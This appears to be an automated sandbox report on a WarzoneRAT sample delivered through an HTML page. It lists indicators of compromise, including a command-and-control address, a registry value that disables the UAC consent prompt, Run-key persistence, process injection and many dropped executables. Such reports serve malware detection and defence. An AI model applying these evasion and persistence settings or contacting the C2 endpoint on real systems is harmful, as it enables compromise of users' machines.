warzonerat | 09ffc5eae2b9cce4ee691bfa07230ed2e68ce1f0479ba3cd5180de315dd80ca2

Analysis

max time kernel
762s
max time network
765s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
15/09/2024, 09:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

DAU7WuTeQv0.html
Size

608KB
MD5

1acbfb6d275b47369ff413b74fdf8978
SHA1

e61f1d412838db72e4d175e3e1aa053d628f6dcf
SHA256

09ffc5eae2b9cce4ee691bfa07230ed2e68ce1f0479ba3cd5180de315dd80ca2
SHA512

41ac9918705ad4a43347fcadb08972ccdf33b478a50cf9ec8a84a44eae0c45906e75022d178f13e08afb84b60e5bb5ee8c4c8cc509f91dd82010e93bf572e83f
SSDEEP

6144:wgO8wh8wD8wY8w58wu8wO8wW8wd8wx8wAPnCtF:wH8m8q8x8K8X8D8N8q808ZPk

Score

10^/10

warzonerat agilenet aspackv2 defense_evasion discovery evasion execution infostealer motw persistence phishing rat rezer0 trojan

Malware Config

Extracted

Family

warzonerat

168.61.222.215:5400

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wscript.exe

WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
rat infostealer warzonerat

ReZer0 packer 1 IoCs

Detects ReZer0, a packer with multiple versions used in various campaigns.

rezer0

resource	yara_rule
behavioral1/memory/5560-2681-0x00000000052C0000-0x00000000052E8000-memory.dmp	rezer0

Warzone RAT payload 2 IoCs

rat

resource	yara_rule
behavioral1/memory/5040-2688-0x0000000000400000-0x0000000000553000-memory.dmp	warzonerat
behavioral1/memory/5040-2690-0x0000000000400000-0x0000000000553000-memory.dmp	warzonerat

Blocklisted process makes network request 6 IoCs

flow	pid	Process
394	8020	powershell.exe
395	8020	powershell.exe
396	4716	powershell.exe
397	4716	powershell.exe
398	1436	powershell.exe
399	1436	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
8020	powershell.exe
4716	powershell.exe
1436	powershell.exe

Disables Task Manager via registry modification
evasion
Downloads MZ/PE file

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x000500000002acab-2951.dat	aspack_v212_v242

Executes dropped EXE 18 IoCs

pid	Process
7656	robux.exe
6416	robux.exe
5820	robux.exe
6680	Trololo.exe
7352	Vista.exe
3320	MrsMajor3.0.exe
6616	eulascr.exe
3860	Alerta.exe
7932	FreeYoutubeDownloader.exe
1532	Free YouTube Downloader.exe
5560	WarzoneRAT.exe
3140	YouAreAnIdiot.exe
2964	Box.exe
4484	CookieClickerHack.exe
6936	Popup.exe
8028	Box.exe
7888	Hydra.exe
6188	Melting.exe

Loads dropped DLL 1 IoCs

pid	Process
6616	eulascr.exe

Obfuscated with Agile.Net obfuscator 1 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral1/memory/6616-2434-0x0000000000350000-0x000000000037A000-memory.dmp	agile_net

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4272559161-3282441186-401869126-1000\Software\Microsoft\Windows\CurrentVersion\Run\Free Youtube Downloader = "C:\\Windows\\Free Youtube Downloader\\Free Youtube Downloader\\Free YouTube Downloader.exe"	FreeYoutubeDownloader.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
219	raw.githubusercontent.com
390	raw.githubusercontent.com

Mark of the Web detected: This indicates that the page was originally saved or cloned. 1 IoCs

phishing motw

flow	ioc
189	https://storage.googleapis.com/script.aniview.com/ssync/62f53b2c7850d0786f227f64/ssync.html

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5560 set thread context of 5040	5560	WarzoneRAT.exe	251

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Free YouTube Downloader.exe	FreeYoutubeDownloader.exe
File opened for modification	C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Box.exe	FreeYoutubeDownloader.exe
File opened for modification	C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Uninstall.exe	FreeYoutubeDownloader.exe
File created	C:\Windows\Free Youtube Downloader\Free Youtube Downloader\Uninstall.ini	FreeYoutubeDownloader.exe

Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 12 IoCs

When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

defense_evasion

SIP and Trust Provider Hijacking

T1553.003

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\robux.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\WarzoneRAT.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\YouAreAnIdiot.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\CookieClickerHack.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Popup.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Hydra.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Melting.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Trololo.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Vista.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\MrsMajor3.0.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Alerta.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\FreeYoutubeDownloader.exe:Zone.Identifier	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3580	3140	WerFault.exe	255

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	robux.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Vista.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Hydra.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	FreeYoutubeDownloader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Popup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WarzoneRAT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Box.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	robux.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Alerta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	YouAreAnIdiot.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Box.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	robux.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
1064	timeout.exe
7840	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
232	taskkill.exe
5444	taskkill.exe

NTFS ADS 26 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Vista.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\MrsMajor3.0.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\CookieClickerHack.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Melting.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Alerta.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 389960.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 992929.crdownload:SmartScreen	msedge.exe
File created	C:\Users\Admin\AppData\Roaming\jFvfxe.exe\:Zone.Identifier:$DATA	WarzoneRAT.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 878331.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\robux.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 468413.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 790000.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 497447.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 605543.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\WarzoneRAT.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Hydra.exe:Zone.Identifier	msedge.exe
File created	C:\Users\Admin\AppData\Roaming\jFvfxe.exe\:SmartScreen:$DATA	WarzoneRAT.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 810832.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Popup.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 519985.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 37080.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 141461.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Trololo.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 89574.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\FreeYoutubeDownloader.exe:Zone.Identifier	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\YouAreAnIdiot.exe:Zone.Identifier	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5380	schtasks.exe

Suspicious behavior: EnumeratesProcesses 50 IoCs

pid	Process
4696	msedge.exe
4696	msedge.exe
2348	msedge.exe
2348	msedge.exe
4656	identity_helper.exe
4656	identity_helper.exe
4372	msedge.exe
4372	msedge.exe
5008	msedge.exe
5008	msedge.exe
5008	msedge.exe
5008	msedge.exe
2360	msedge.exe
2360	msedge.exe
8020	powershell.exe
8020	powershell.exe
8020	powershell.exe
4716	powershell.exe
4716	powershell.exe
4716	powershell.exe
1436	powershell.exe
1436	powershell.exe
1436	powershell.exe
5236	msedge.exe
5236	msedge.exe
2900	msedge.exe
2900	msedge.exe
5256	msedge.exe
5256	msedge.exe
1788	msedge.exe
1788	msedge.exe
6036	msedge.exe
6036	msedge.exe
7092	msedge.exe
7092	msedge.exe
5560	WarzoneRAT.exe
5560	WarzoneRAT.exe
5560	WarzoneRAT.exe
5560	WarzoneRAT.exe
5560	WarzoneRAT.exe
5492	msedge.exe
5492	msedge.exe
1708	msedge.exe
1708	msedge.exe
1884	msedge.exe
1884	msedge.exe
6024	msedge.exe
6024	msedge.exe
2316	msedge.exe
2316	msedge.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2348	msedge.exe

Suspicious behavior: LoadsDriver 10 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
656	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 64 IoCs

pid	Process
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	8020	powershell.exe
Token: SeDebugPrivilege	4716	powershell.exe
Token: SeDebugPrivilege	1436	powershell.exe
Token: SeDebugPrivilege	232	taskkill.exe
Token: SeDebugPrivilege	5444	taskkill.exe
Token: 33	5772	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	5772	AUDIODG.EXE
Token: SeDebugPrivilege	5560	WarzoneRAT.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe
2348	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3320	MrsMajor3.0.exe
7932	FreeYoutubeDownloader.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 796	2348	msedge.exe	79
PID 2348 wrote to memory of 796	2348	msedge.exe	79
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4088	2348	msedge.exe	80
PID 2348 wrote to memory of 4696	2348	msedge.exe	81
PID 2348 wrote to memory of 4696	2348	msedge.exe	81
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82
PID 2348 wrote to memory of 1920	2348	msedge.exe	82

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System	wscript.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	wscript.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\DAU7WuTeQv0.html
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffed1063cb8,0x7ffed1063cc8,0x7ffed1063cd8
  2⤵
  PID:796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1796 /prefetch:2
  2⤵
  PID:4088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2484 /prefetch:8
  2⤵
  PID:1920
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3144 /prefetch:1
  2⤵
  PID:2324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3168 /prefetch:1
  2⤵
  PID:4724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4600 /prefetch:1
  2⤵
  PID:3976
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5692 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4656
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5008 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4372
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5320 /prefetch:1
  2⤵
  PID:4816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3416 /prefetch:1
  2⤵
  PID:2704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3224 /prefetch:1
  2⤵
  PID:776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:1
  2⤵
  PID:4752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
  2⤵
  PID:3448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4904 /prefetch:1
  2⤵
  PID:4536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5020 /prefetch:1
  2⤵
  PID:4628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1764,6820624375907782760,7944292183681987529,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5444 /prefetch:1
  2⤵
  PID:2964
